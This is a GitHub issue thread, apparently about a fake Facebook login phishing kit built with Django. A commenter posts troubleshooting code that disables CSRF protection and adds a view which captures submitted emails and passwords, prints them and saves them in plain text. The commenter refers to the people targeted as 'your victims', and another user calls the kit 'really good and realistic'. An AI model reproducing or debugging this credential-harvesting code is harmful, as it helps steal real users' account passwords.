You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
you may change the url on the app url for login instead of fblogin and then disable the csrf_token feature by using
from django.views.decorators.csrf import csrf_exempt
and use the decorator under the view
@csrf_exempt
def Passwords(request):
if request.method=='POST':
username=str(request.POST.get('email'))
password=str(request.POST.get('pass'))
print(username,password)
if not passwords.objects.filter(username=username,password=password):
passwords(username=username,password=password).save()
ctx={'Success':'Success'}
else:
ctx={'Bad':'Hacker'}
return HttpResponse(json.dumps(ctx), content_type='application/json')
it should work after that, thats just a Troubleshooting to make it work but is not a recommended thing that you disable the CRSF token feature since someone could attack your website and steal your victims lol
It is really good and realistic but I get this
The text was updated successfully, but these errors were encountered: